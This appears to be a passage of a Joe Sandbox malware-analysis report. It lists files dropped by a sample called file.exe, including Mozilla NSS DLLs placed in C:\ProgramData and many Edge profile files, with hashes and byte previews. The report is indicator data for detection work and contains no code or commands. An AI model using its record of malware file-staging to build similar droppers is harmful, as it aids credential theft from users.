Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\03b4b743-24b3-464c-8ad3-ef9226e178ee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44678
Entropy (8bit):	6.096591008354611
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBHwuZhDO6vP6Og7x4di9C+FDo7FtcGoup1Xl3jVz6:z/Ps+wsI7yOEQ6A7ipchu3VlXr4CRo1
MD5:	15C8FCCD305BF8AFD687A17472C3CFB8
SHA1:	17275E44678E977DAFEF1108967189FC18FA9AD5
SHA-256:	041B597AF4EE9143D935E5FCF03E96CB9D9EC643B56751ED83C19681E60FB257
SHA-512:	D7C71B602288F0DB15E16BA898F8FDB23209A9F0908B765769C6A82612F540EC9E980AF1C0C98788F19483C64F6A7D0333F3DD85802658E7657E43C437427AED
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0eec6c05-f958-4dca-b457-d5f54ac73afe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45988
Entropy (8bit):	6.089446497048228
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5oo+5+uihDO6vP6Og7x4xi9C+FDo7FtIQmxgRCAokaGoup1Xl3je:mMk1rT8Hgo+n6A7i1IQ9Rokahu3VlXr0
MD5:	AB67CEF2964B8E7B78A51CF9DD391537
SHA1:	54D8E67A27FBB3DB7830BE423CF30949FF311238
SHA-256:	3EF99807F210E6B6E5794AF84771D42EE11C462FA2CCDE64E715109F1D88E8D9
SHA-512:	BBC33ABD3D861E82199B40FF453F802AC6D87F63ED823018A21D61C69EFEEC3DFB24B1CCCFAB29A01FEBF9218D9A20E12B6DA07976E05C37B9538430700C8691
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\35751442-e912-4faa-b3ca-09065abf7f69.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45911
Entropy (8bit):	6.089496535179717
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5d9+5+uihDO6vP6Og7x4di9C+FDo7FtIQmxgRCAokaGoup1Xl3je:mMk1rT8H19+n6A7ipIQ9Rokahu3VlXr0
MD5:	4AC09BB8CC91CDD51342DC4728826DDB
SHA1:	80BF3712A548868604252736F20EBBDE9DE7ED26
SHA-256:	D07790711C1E456147D3BE143649F929A62A3C80D56C8E5B06DF9D06B3E1C676
SHA-512:	4345E323A643BD93D60840CE3917DFE5D080F0F7BA7584162F347647DAFFCA89559B40D3505CC4878AB75EB62E4F3750B531CD2B291B2E711462E91647F2D94A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5fbb2822-a907-4c70-b817-468f75edf31f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45988
Entropy (8bit):	6.0894448213960475
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5o9+5+uihDO6vP6Og7x4xi9C+FDo7FtIQmxgRCAokaGoup1Xl3je:mMk1rT8Hg9+n6A7i1IQ9Rokahu3VlXr0
MD5:	71D397565114E0255699794680C10777
SHA1:	8DEC84C87454ADF2E6F206598C827733CCCC7C1D
SHA-256:	AC83F8DC950974CDC78B9EC84D653616B318959A848AB89480701DB7098DD78F
SHA-512:	3C266AABCDE56A995764AD3C7432302252F1C63ECE83D7B6D047AB4A0D3E573A88BA86720058CD5D9D5EE4448620B6292A4B9C4A65F08AE588AD984327652084
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\396ec5fd-210f-459e-8137-68ee514888ce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67480423-1ED8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.44311719912678116
Encrypted:	false
SSDEEP:	3072:DxEd4jT/pujoVAxIq9NiQXQ1mv8vO6IXL4gqO5Iyg1HFS4c:Wd4xdAxIWNiQO+gyL4gqO5IyaHM4c
MD5:	7C19B0169097A8B3FDCC186694BBDBC0
SHA1:	4FFC5F5EBA28ECBBA3CC768F02C533A2DAF7F9FE
SHA-256:	729B55ACF5D7FA11727C1724F723EA174DB236C65BBAA54FC27C473E63001CC0
SHA-512:	ED8D5D2C9E58A35FF2B6B5447A1436B163BFCB4778C9E875D8BF7EB877D7BFDA05D027AB313B7F5A0FFC1D3C49B0EEBC28E19DFA67D39AE923C688223529EADB
Malicious:	false
Preview:	...@..@...@.....C.].....@...............@...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".wsmogp20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......,...... .`2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0c28bea1-5901-4a6e-b22b-cf4b9879fb2c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9712
Entropy (8bit):	5.117982952133084
Encrypted:	false
SSDEEP:	192:stRkdpVsFPsZihUkGGI83bV+FnAQA66WZaFIMYjPsYJ:stRQVsFPfh5bGAQx6WZaTYR
MD5:	930D8BC19F8B1EC5CA1D2FE8BF225C9E
SHA1:	8E04AC13B35E99BF204D9FA08AA714B1F9DD8B8B
SHA-256:	7D80DBF40D6B6C0A1720AED83C6166D33149495B4B65F7E10A58841F82ACE658
SHA-512:	6E660CC96621ABB6661973F7BAD53A6E07B1BEBA2A434329DFAEC9CAEF34397519BABA384A01460A7F185DB5FB7B71D2AF2C27F957A7CF40E290C137D8839A97
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377246500701077","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\145d4912-b6c4-47a1-8486-0ba9b6163038.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.5549714680556805
Encrypted:	false
SSDEEP:	768:qbDOyS7pLGLPGkWPTbfxP8F1+UoAYDCx9Tuqh0VfUC9xbog/OVWciplrwc5oqX4c:qbDOyqcPGkWPTbfxPu1ja3BpOkoqhOt8
MD5:	EE6FB361ECC7DB21FC9FCDEB913DD72A
SHA1:	D1115E364D0C5C67F296F9DD6A99801953402F70
SHA-256:	EBDEB8D51F0714F3BC289B6BA7A36569C74B2D6D8F1FE89E5928A74ABC33F096
SHA-512:	E4F8F6E5D7A4E1913142659CB4CFF506671DEBC4EFE7B2DF82112D3A907BEFDA56343A6C188A59C0FA7242015D88BFD5EB60ACF0C525BEE8D27F7EB44C2D42DE
Malicious:	false
